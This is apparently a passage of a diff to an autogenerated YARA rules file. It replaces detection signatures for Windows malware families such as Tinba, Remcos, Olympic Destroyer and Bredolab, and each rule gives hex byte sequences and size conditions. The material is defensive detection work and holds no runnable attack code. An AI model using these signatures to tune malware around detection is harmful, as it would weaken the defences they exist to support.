-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tinba_auto.yar#L1-L141"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.starcruft"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.starcruft_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "3e0ce52a496c3fcf4e972331a3890b233f5a6cdb900c63778e37d0782cfe61e3"
+		logic_hash = "ba9170fb6918e14feeea6fab09146b237b88c2d2d12a4f68164b770922d2ddd1"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -137341,35 +144380,32 @@ rule MALPEDIA_Win_Tinba_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b7508 ad 50 56 }
-		$sequence_1 = { 8b4510 aa 8b450c ab }
-		$sequence_2 = { 8a241f 88240f 88041f 41 }
-		$sequence_3 = { 6a00 6a00 6a00 ff750c 6a00 6a00 ff7508 }
-		$sequence_4 = { 8b4114 83f8fd 7506 8b4108 8b4014 85c0 7403 }
-		$sequence_5 = { 66b80d0a 66ab b8436f6f6b ab b869653a20 ab }
-		$sequence_6 = { ff15???????? 48 83c420 48 85c0 0f84b4000000 }
-		$sequence_7 = { 814a3500080000 4c 29c6 40 8832 }
-		$sequence_8 = { 8b7d0c 31c9 bb0a000000 31d2 f7f3 52 }
-		$sequence_9 = { 8b4514 8908 290e 8b06 }
-		$sequence_10 = { 66b80d0a 66ab b855736572 ab b82d416765 ab }
-		$sequence_11 = { 73ed 88e8 48 8d1d5a020000 }
-		$sequence_12 = { fd 8b7d0c 83c707 8b4508 83e00f }
+		$sequence_0 = { 83bd34fbffff00 7458 0fb64d34 85c9 7419 8b95b4fcffff 899558fbffff }
+		$sequence_1 = { ebbd c7852cfeffff01000000 83bd2cfeffff00 7565 8b4508 898524feffff c78520feffff00000000 }
+		$sequence_2 = { 884def 8b55f0 83c202 8955f0 8b45f0 8945f8 eb09 }
+		$sequence_3 = { 8b55f8 8b85ccfeffff 8b0c90 0fb711 85d2 740b 8b45f8 }
+		$sequence_4 = { 55 8bec 81ec20010000 a1???????? 33c5 8945e4 8b4508 }
+		$sequence_5 = { c685cafcffff26 c685cbfcffffa1 c685ccfcffff8b c685cdfcffff52 c685cefcffff6c c685cffcffffba c685d0fcffffde }
+		$sequence_6 = { 8b4dd4 8908 8b5510 8b02 50 8d4dd8 51 }
+		$sequence_7 = { 8b4dcc 51 e8???????? 83c404 8945f0 8955f4 8b55d0 }
+		$sequence_8 = { e8???????? 83c404 33c0 e9???????? 8b45fc }
+		$sequence_9 = { e8???????? e8???????? c705????????04c02e00 c705????????08c02e00 c705????????0cc12e00 c705????????10c12e00 }
 
 	condition:
-		7 of them and filesize <57344
+		7 of them and filesize <294912
 }
-rule MALPEDIA_Win_Ismagent_Auto : FILE
+rule MALPEDIA_Win_Unidentified_013_Korean_Malware_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "efc3a6d8-4046-5104-90f5-9440914b7f87"
+		id = "6cb9e399-7a4a-5f81-aaa6-7cb702a29e01"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ismagent"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ismagent_auto.yar#L1-L102"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_013_korean_malware"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_013_korean_malware_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "d297d8bd0034edde53a6d3eb1d7bb7add88b3f450af6b836362398a9173b61dc"
+		logic_hash = "c008af161ea64c4cea7a6eccb5b08fe1a4b68cae21f50d0dd25e80b0eb93ad58"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -137383,30 +144419,32 @@ rule MALPEDIA_Win_Ismagent_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ba???????? 6a00 6800000080 6a00 6a00 68???????? 53 }
-		$sequence_1 = { 89442440 85c0 752b 50 68???????? }
-		$sequence_2 = { eb7c c745e000fe4100 ebbb d9e8 8b4510 }
-		$sequence_3 = { e8???????? 83c408 89442418 85c0 0f8479020000 }
-		$sequence_4 = { 68e8030000 ff15???????? 8d8c2418030000 8d5101 }
-		$sequence_5 = { 7432 8d842418030000 68???????? 50 e8???????? 8bf0 }
-		$sequence_6 = { 8bf2 0f1f4000 8a02 42 84c0 75f9 8dbc2400070000 }
-		$sequence_7 = { 8d0439 7413 0f1f4000 803823 740a }
+		$sequence_0 = { 3bd7 7cf5 7f04 3bc5 72ef }
+		$sequence_1 = { 57 a1???????? 33c4 50 8d842458060000 64a300000000 68???????? }
+		$sequence_2 = { 6800040000 8d4c241c 51 57 ffd5 85c0 743f }
+		$sequence_3 = { 81c40c040000 c3 8b2d???????? 8d44240c 50 }
+		$sequence_4 = { e8???????? 83c424 8bd8 8d542414 8d8c2454030000 }
+		$sequence_5 = { 8b44243c ff4c241c 3bf8 7605 e8???????? 8b44242c bb10000000 }
+		$sequence_6 = { 83c428 c3 3c03 0f8558ffffff 83f901 }
+		$sequence_7 = { 8d442414 50 c744242003000000 ff15???????? b902000000 }
+		$sequence_8 = { 68???????? 68???????? e8???????? 83c410 e8???????? b230 }
+		$sequence_9 = { 6a00 6a00 6a00 8bf2 6a00 6a00 8bf9 }
 
 	condition:
-		7 of them and filesize <327680
+		7 of them and filesize <204800
 }
-rule MALPEDIA_Win_Deadwood_Auto : FILE
+rule MALPEDIA_Win_Ngioweb_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5f00cc5a-9602-50e1-9261-d675303486e9"
+		id = "1a04caa4-5f94-5038-893b-b414574d57bc"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deadwood"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.deadwood_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ngioweb"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ngioweb_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "ea97d4cccc4d6a9b5e482bbc380fcc6fbef419bedaf1f051b13240e62ed24277"
+		logic_hash = "53b049f61ecbdc954b47598eb5e1d9de9a9f52f58bb1ef6f666338c0ff24b7f4"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -137420,32 +144458,32 @@ rule MALPEDIA_Win_Deadwood_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 51 e8???????? 83c404 33db be0f000000 89b42418010000 899c2414010000 }
-		$sequence_1 = { 7303 8d4508 8b5518 52 50 8b4110 50 }
-		$sequence_2 = { 7464 8bf0 8b4814 894c2424 3bcb 7504 895c2428 }
-		$sequence_3 = { 6a01 8d442414 50 8d4c243c 897c247c c744241878f44500 e8???????? }
-		$sequence_4 = { 8bf8 85ff 0f8484000000 53 53 53 53 }
-		$sequence_5 = { ff15???????? 6804010000 8d8df4fdffff 51 50 ff15???????? 33d2 }
-		$sequence_6 = { e8???????? 8b542460 c7442440e4ba4500 bb???????? 895c2454 8b4204 c7440460c8ba4500 }
-		$sequence_7 = { 8b07 8b4804 837c390c00 0f94c1 884dd8 c745fc01000000 84c9 }
-		$sequence_8 = { 74ed 89450c 8b13 807a1d00 7404 8b3e eb13 }
-		$sequence_9 = { 8bb510ffffff e9???????? c3 8d8d34ffffff e9???????? 8d8d18ffffff e9???????? }
+		$sequence_0 = { 8b4604 897808 eb15 894f08 8b06 89780c 893e }
+		$sequence_1 = { 394518 89b39c000000 c783a800000001000000 8983b0000000 7412 50 6884000000 }
+		$sequence_2 = { ffd0 85c0 7554 ff75fc 53 }
+		$sequence_3 = { 66c745ae6300 66c745ac5400 668975aa 66895dc4 e8???????? 33c0 }
+		$sequence_4 = { 668b460c 895f04 8d5f08 53 668907 ff7608 }
+		$sequence_5 = { 3bc7 7574 689f860100 6810270000 8d4508 50 }
+		$sequence_6 = { 53 8b5d24 68b9ed740a 56 e8???????? ff7518 ff7514 }
+		$sequence_7 = { ff75f0 ff15???????? ff15???????? 8b45e8 eb02 33c0 5f }
+		$sequence_8 = { 8bc3 5b 5d c21400 57 8b7c2408 85ff }
+		$sequence_9 = { 770b 0fb7c0 668b4445d8 668906 46 46 49 }
 
 	condition:
-		7 of them and filesize <1055744
+		7 of them and filesize <204800
 }
-rule MALPEDIA_Win_Polyvice_Auto : FILE
+rule MALPEDIA_Win_Miancha_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f632496e-a2f4-5ede-b8be-18463e7a5bac"
+		id = "5e7fc19e-d4d3-5751-a42a-778cf2bcb637"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.polyvice"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.polyvice_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.miancha"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.miancha_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "ed3286a18e97148fc13382a255519a25655dd929e966c75502c6a665bf5d62e5"
+		logic_hash = "1f67b71b2562c78fd331e78fe99dcc1e4206e3c62481b807645f41343dd343bc"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -137459,32 +144497,32 @@ rule MALPEDIA_Win_Polyvice_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4589cf 4131ed 41c1cf06 4501e5 4589fc 4589cf 41c1cf0b }
-		$sequence_1 = { c1c207 31d1 4489c2 c1ca02 01f1 89d6 }
-		$sequence_2 = { 448b442438 01d1 01c1 4489c2 4489c0 c1c807 }
-		$sequence_3 = { 4409f6 89f5 89c6 4421f6 4421e5 09f5 4489de }
-		$sequence_4 = { 4c8d150fc20000 4801de 4c8d0d05ca0000 4c8d05fec50000 4883c310 8b3b 89f9 }
-		$sequence_5 = { 66418949fe 89e9 d3e8 4d39cb 75e2 4889d8 4829f0 }
-		$sequence_6 = { e9???????? 488d4dcc 31f6 e8???????? 4c8d3531650000 4989c5 eb2d }
-		$sequence_7 = { 53 4881ec38030000 488dac2480000000 410fb7400c 410fb77840 450fb77822 668945bc }
-		$sequence_8 = { 450fb6ec bf20000000 c744242800000000 0fb7db 4531ff }
-		$sequence_9 = { 0fb7c9 0fb74c4b02 664183f802 7508 6683f902 410f44c3 450fb7ed }
+		$sequence_0 = { 7412 8d542418 52 ff15???????? }
+		$sequence_1 = { 6803000080 ff15???????? 85c0 741f 6a00 }
+		$sequence_2 = { 8b15???????? 894808 8a0d???????? 89500c 884810 }
+		$sequence_3 = { 40 50 56 8b35???????? 6a02 6a00 }
+		$sequence_4 = { 85f6 7412 8d542418 52 ff15???????? 50 }
+		$sequence_5 = { ff15???????? 50 ffd6 85c0 741a }
+		$sequence_6 = { 8d542418 52 ff15???????? 50 ffd6 85c0 }
+		$sequence_7 = { 50 68???????? e8???????? 33f6 83c408 }
+		$sequence_8 = { 8910 8b15???????? 894804 8b0d???????? 895008 8a15???????? }
+		$sequence_9 = { 8910 8b15???????? 894804 8b0d???????? 895008 8a15???????? 89480c }
 
 	condition:
-		7 of them and filesize <369664
+		7 of them and filesize <376832
 }
-rule MALPEDIA_Win_Aurora_Auto : FILE
+rule MALPEDIA_Win_Zerocleare_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6739f143-45de-5c25-aa97-f9c0ab868c7e"
+		id = "3657cdfc-db20-5908-b80b-f3809b1ef7a0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aurora"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.aurora_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zerocleare"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zerocleare_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "401b46f1e5d6c2d35e6c7ba88f463abdb92c79f1d47fd14fd19c66427ffd50ad"
+		logic_hash = "684e088a58b2073463dab14cb1ba7b141fc0ac01570965634aebae02ef8b6f64"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -137498,32 +144536,32 @@ rule MALPEDIA_Win_Aurora_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b4e14 8945d4 8b4610 3bc1 7530 40 83f8fe }
-		$sequence_1 = { c645fc03 8d4dd8 837dec08 8d5dd8 }
-		$sequence_2 = { 8aca c0e206 0255d3 c0e902 80e10f }
-		$sequence_3 = { ebd9 837b1410 7202 8b1b }
-		$sequence_4 = { 3bf3 7469 897de8 c645fc01 85ff 7437 c7471000000000 }
-		$sequence_5 = { 6a00 c741140f000000 c7411000000000 68???????? c60100 e8???????? 8d8df8fbffff }
-		$sequence_6 = { 83793800 0f45c2 50 e8???????? 8b9df0feffff c745e40f000000 c745e000000000 }
-		$sequence_7 = { c785c8f1ffff0f000000 c785c4f1ffff00000000 c685b4f1ffff00 e8???????? 8d8dccf1ffff }
-		$sequence_8 = { 68???????? 8d8d24f1ffff c78538f1ffff0f000000 c78534f1ffff00000000 }
-		$sequence_9 = { 6a02 68???????? 8d8d14efffff c78528efffff0f000000 }
+		$sequence_0 = { db2d???????? b801000000 833d????????00 0f854f6efeff ba05000000 8d0df0694400 e8???????? }
+		$sequence_1 = { 0f1185d8f7ffff f30f7e4010 660fd685e8f7ffff c7401000000000 c7401407000000 668908 c645fc04 }
+		$sequence_2 = { 6a00 8d45e8 50 6a18 }
+		$sequence_3 = { ffd6 6af4 898578f7ffff ffd6 }
+		$sequence_4 = { 0f114598 0f1145a8 ff15???????? 8bf8 }
+		$sequence_5 = { 895614 7410 c74620df494300 c74624f24a4300 eb0e c7462087414300 }
+		$sequence_6 = { c745e4ad184200 eb08 8d4dd8 e8???????? 837e1808 74f2 8bce }
+		$sequence_7 = { 660f58ca 660f2815???????? f20f59db 660f282d???????? 660f59f5 660f28aa70534400 660f54e5 }
+		$sequence_8 = { 8b04cdd40a4400 5f 5e 5b 8be5 5d c3 }
+		$sequence_9 = { 33c0 8985e4f7ffff 90 8b4c3814 8d1438 8d4101 }
 
 	condition:
-		7 of them and filesize <827392
+		7 of them and filesize <42670080
 }
-rule MALPEDIA_Win_Jessiecontea_Auto : FILE
+rule MALPEDIA_Win_Remcos_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "526b090a-a995-58b5-b843-1e70dd71cefc"
+		id = "0b71eaff-61b4-55ab-a8af-3cf13e03dd61"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jessiecontea"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.jessiecontea_auto.yar#L1-L165"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.remcos_auto.yar#L1-L113"
 		license_url = "N/A"
-		logic_hash = "c68c31b644ea8b3e7ca9f4e4366853343f61b6640765616026487f548092899b"
+		logic_hash = "d80be2f75bdd44294476100f6767031142d9f2872cceaebec5f1ed9745e8779f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -137537,38 +144575,32 @@ rule MALPEDIA_Win_Jessiecontea_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c78590f4ffff00000000 c7858cf4ffff00000000 c78588f4ffff00000000 c78594f4ffff01000000 c78598f4ffff01000000 e8???????? }
-		$sequence_1 = { 3d00010000 0f8f03010000 6a00 6a00 50 }
-		$sequence_2 = { 8d85e8fdffff 50 8d85a2f6ffff 50 }
-		$sequence_3 = { 57 8b7d18 8945c0 8b4510 }
-		$sequence_4 = { eb02 2bf7 6a00 8d85e8b7ffff 50 }
-		$sequence_5 = { 5d c3 c705????????31090000 5f 5e 5b 8be5 }
-		$sequence_6 = { 56 57 680a020000 8d85d8fbffff 8bf2 6a00 }
-		$sequence_7 = { 6880000000 6a01 6a00 6a01 6800000040 8d85f8fbffff 50 }
-		$sequence_8 = { 41b800080000 be20000008 e8???????? 33d2 448975c0 }
-		$sequence_9 = { 4d8bc8 4d2bcd 6690 488d82fafeff7f }
-		$sequence_10 = { 83e03f 2bc8 33c0 48d3c8 488d0d39d20100 4833c2 }
-		$sequence_11 = { 7305 44887c3710 488bcb e8???????? 397d50 7230 }
-		$sequence_12 = { ff15???????? 85c0 0f8580fcffff 488b4c2460 }
-		$sequence_13 = { 892d???????? 8b1d???????? 488d4c2430 8bfd 48896c2430 }
-		$sequence_14 = { 4889442440 33d2 4489742448 41b8ff3f0000 488d8d51070000 }
-		$sequence_15 = { 488b4d98 488d4588 4889442428 41b902000000 }
+		$sequence_0 = { 7410 6a00 ff35???????? ff15???????? }
+		$sequence_1 = { 50 ff15???????? 8d45f0 33f6 }
+		$sequence_2 = { 6a09 ff35???????? ff15???????? ff35???????? ff15???????? }
+		$sequence_3 = { 8d45f8 50 ff15???????? ff7508 }
+		$sequence_4 = { 7508 ff15???????? 33c0 5f }
+		$sequence_5 = { 6a09 ff35???????? ff15???????? ff35???????? }
+		$sequence_6 = { ff15???????? 50 ff15???????? 8d45f0 33f6 }
+		$sequence_7 = { 50 6a28 ff15???????? 50 ff15???????? 8d45f0 33f6 }
+		$sequence_8 = { 51 51 8d45f8 c745f808000000 50 ff15???????? ff15???????? }
+		$sequence_9 = { 85c0 7410 6a00 ff35???????? ff15???????? }
 
 	condition:
-		7 of them and filesize <413696
+		7 of them and filesize <1054720
 }
-rule MALPEDIA_Win_Dmsniff_Auto : FILE
+rule MALPEDIA_Win_Bredolab_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "16f341e6-77a3-5816-ba96-baf125c04244"
+		id = "0b33903d-ad64-555d-936e-aab5345d2509"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dmsniff"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dmsniff_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bredolab"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bredolab_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "97dafc3ba62eb5e1ea05a655f64eed9d043aae4b3733a53f196189f18ab4ea03"
+		logic_hash = "adde67d05e7a2d047afa70901aa11c567b41ad799d4fe97c3d9648b79067c4f5"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -137582,34 +144614,34 @@ rule MALPEDIA_Win_Dmsniff_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83c661 89f3 881d???????? 8d04bf }
-		$sequence_1 = { 50 d93c24 66810c240003 d92c24 83c404 6a00 6a00 }
-		$sequence_2 = { 53 56 57 8b5d0c 8b7510 }
-		$sequence_3 = { 89fe 46 89b5fcfeffff 899cbd00ffffff 8d85f0feffff 50 6a00 }
-		$sequence_4 = { eb15 47 39f7 72d3 ff45fc 8b45f4 3945fc }
-		$sequence_5 = { 56 57 8965e8 50 d93c24 }
-		$sequence_6 = { eb18 68???????? e8???????? 50 68???????? e8???????? 83c40c }
-		$sequence_7 = { e8???????? 50 68???????? e8???????? 83c40c eb18 }
-		$sequence_8 = { e8???????? 83c40c eb18 68???????? e8???????? 50 }
-		$sequence_9 = { 7316 8bbdfcfeffff 89fe 46 89b5fcfeffff 899cbd00ffffff }
+		$sequence_0 = { 8b4518 89442410 8b4514 8944240c c744240800000000 }
+		$sequence_1 = { baffe8a435 89d1 31d2 f7f1 81c200e1f505 89542408 c7442404???????? }
+		$sequence_2 = { 0f85e8000000 ba???????? 90 31c0 6690 8a8800500010 300c02 }
+		$sequence_3 = { 57 56 53 b86c140000 }
+		$sequence_4 = { f2ae f7d1 8d41ff 81c40c090000 }
+		$sequence_5 = { 8b8318120000 85c0 0f8e88000000 c783381200000c000000 }
+		$sequence_6 = { 0f85c5000000 8b9560feffff 8b02 3b45dc 7437 }
+		$sequence_7 = { 5e 5f c9 c3 8db526ffffff b910000000 }
+		$sequence_8 = { 8b8a1c120000 85c9 0f8ee7000000 31ff 31c0 8d9d20f7ffff 89b514f7ffff }
+		$sequence_9 = { 85c0 753b 0fb78394010000 338396010000 0d00000080 baffe8a435 89d1 }
 
 	condition:
-		7 of them and filesize <131072
+		7 of them and filesize <90112
 }
-rule MALPEDIA_Win_Olympic_Destroyer_Auto : FILE
+rule MALPEDIA_Win_Sparrow_Door_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "9f025408-c0a3-516e-ac3a-efc2033f9b9b"
+		id = "0be52ebd-81b0-5548-b0c4-71d664335291"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.olympic_destroyer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.olympic_destroyer_auto.yar#L1-L222"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sparrow_door"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sparrow_door_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "93564b4c61bfe578140a2ed1dd33860e59e2d49295b03d310dd7eaa077d799f2"
+		logic_hash = "a3ea16377775f10fb390048ca81fb5b622cc57fa7d5b14e32fa13a939a085057"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -137621,45 +144653,32 @@ rule MALPEDIA_Win_Olympic_Destroyer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 56 33c0 89542414 57 }
-		$sequence_1 = { 6690 3939 770a 8bc1 46 }
-		$sequence_2 = { 8b0c8d60ee5500 80643128fd 5f 5e }
-		$sequence_3 = { 50 689b000000 e8???????? e9???????? }
-		$sequence_4 = { ff15???????? 6880ee3600 ff15???????? 6800000500 56 }
-		$sequence_5 = { 50 68???????? e8???????? 83c408 8907 85c0 0f8480000000 }
-		$sequence_6 = { a1???????? 85c0 741a 833d????????00 7c0a }
-		$sequence_7 = { 50 68???????? 8d85e4fcffff 6805010000 }
-		$sequence_8 = { a1???????? c705????????f3274000 8935???????? a3???????? ff15???????? a3???????? 83f8ff }
-		$sequence_9 = { 7678 eb06 8b8de8efffff 2b8df0efffff 1b85f4efffff }
-		$sequence_10 = { 2bfa 8d0450 57 50 }
-		$sequence_11 = { 750b ff15???????? e9???????? 8b3d???????? 6a02 56 }
-		$sequence_12 = { 83f8fe 7419 8a4a02 3a4e02 }
-		$sequence_13 = { 83ffff 743a 8d857cf9ffff 50 57 ff15???????? }
-		$sequence_14 = { 898588f9ffff 8d85e4fbffff 68???????? 50 ff15???????? 83c40c 8d8594f9ffff }
-		$sequence_15 = { 8d842494000000 89442424 8d54241c 8b44245c 8d4c2424 6a24 }
-		$sequence_16 = { 50 68???????? 8bd7 8bcb e8???????? 8bd8 }
-		$sequence_17 = { 8d8580f7ffff 50 56 56 56 56 }
-		$sequence_18 = { 89442418 85c0 743a 57 }
-		$sequence_19 = { 50 68???????? 8d85ecfdffff 6805010000 }
-		$sequence_20 = { ffd6 50 ff15???????? 8d8594f9ffff }
-		$sequence_21 = { 50 68???????? e8???????? 83c40c 8903 5f }
-		$sequence_22 = { 50 68???????? 8901 ff770c e8???????? 83c40c }
+		$sequence_0 = { 395c240c 7551 8b5604 8b3d???????? 52 68???????? }
+		$sequence_1 = { 57 56 ff15???????? 85c0 0f8491010000 8b44243c 3bc5 }
+		$sequence_2 = { 8d8c2440040000 51 55 8d94243c010000 52 6a00 68e9fd0000 }
+		$sequence_3 = { 53 50 8bf1 895c2430 895c2438 889c244c060000 }
+		$sequence_4 = { 8d44245c 50 e8???????? 83c420 85c0 }
+		$sequence_5 = { a1???????? a3???????? a1???????? c705????????05772a00 8935???????? }
+		$sequence_6 = { e8???????? 8d542470 52 8d442448 50 8b84249c010000 }
+		$sequence_7 = { 50 895c2438 c744244844000000 898c2480000000 c744247401010000 6689542478 889c2490000000 }
+		$sequence_8 = { 894c2418 8954241c 3bc3 7555 }
+		$sequence_9 = { 8d8c2400010000 51 56 52 ffd5 85c0 74a8 }
 
 	condition:
-		7 of them and filesize <1392640
+		7 of them and filesize <155648
 }
-rule MALPEDIA_Win_Swen_Auto : FILE
+rule MALPEDIA_Win_Cohhoc_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7f9f6459-0c0a-509f-9c87-8a68bae77e34"
+		id = "b68a758f-10e4-5b26-9336-04dc8575909c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.swen"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.swen_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cohhoc"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cohhoc_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "6a4f1002b8a4868bbe8661a8400f2e2886c507211772c905c6406fbef250b4fb"
+		logic_hash = "ecae8715f2ad96196b29dfd6ae017f72fc211d8d4ab8ab2002ae190526566a13"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -137673,32 +144692,32 @@ rule MALPEDIA_Win_Swen_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ab 8d85a8fcffff 50 8d8564fcffff 50 56 56 }
-		$sequence_1 = { 6a05 59 be???????? 8dbd1cfeffff f3a5 66a5 }
-		$sequence_2 = { 68b0040000 ff15???????? c9 c3 55 8bec 6aff }
-		$sequence_3 = { 33c9 85c0 0f95c1 41 890d???????? 8b450c 3905???????? }
-		$sequence_4 = { 59 59 50 8d8594fcffff 50 }
-		$sequence_5 = { 0fbe4602 8d48df 83f951 7408 83c00a 83f85c 755f }
-		$sequence_6 = { 53 6880000000 6a04 53 6a03 6800000040 8d85e4feffff }
-		$sequence_7 = { e8???????? 8d85d8fdffff 50 8d8550ffffff 50 e8???????? 8d4603 }
-		$sequence_8 = { 0f84b2000000 895de0 8b4de4 c1e902 8b45e0 3bc1 0f839e000000 }
-		$sequence_9 = { 3bc3 7410 8d8d80feffff 2bc1 40 40 89857cfeffff }
+		$sequence_0 = { 1bc0 83d8ff 85c0 0f84fb000000 bf???????? 8db424b4010000 8a0e }
+		$sequence_1 = { 5b 81c49c020000 c3 8b542410 }
+		$sequence_2 = { e8???????? 50 6801010000 8bcd e8???????? 8bcd }
+		$sequence_3 = { 33c0 5b 83c444 c3 8b542434 8b442458 6a00 }
+		$sequence_4 = { 817c240c03010000 0f8494010000 8b35???????? 8d442410 53 50 68???????? }
+		$sequence_5 = { 66c74424040010 8974242c 89742430 8b442448 8b4c2444 50 }
+		$sequence_6 = { bf01000000 6a00 68???????? ffd6 85ff }
+		$sequence_7 = { 88442424 894c2430 8b4c2424 57 51 8b4c2428 e8???????? }
+		$sequence_8 = { 6a07 51 6a00 aa }
+		$sequence_9 = { 8bc8 8d8424b4010000 83e103 f3a4 be???????? 8a10 8aca }
 
 	condition:
-		7 of them and filesize <286720
+		7 of them and filesize <253952
 }
-rule MALPEDIA_Win_Bachosens_Auto : FILE
+rule MALPEDIA_Win_Lobshot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "512fddd0-592d-56ea-af08-938454f6edb9"
+		id = "5bc103fe-8569-5650-9cd3-425031e0ab5f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bachosens"
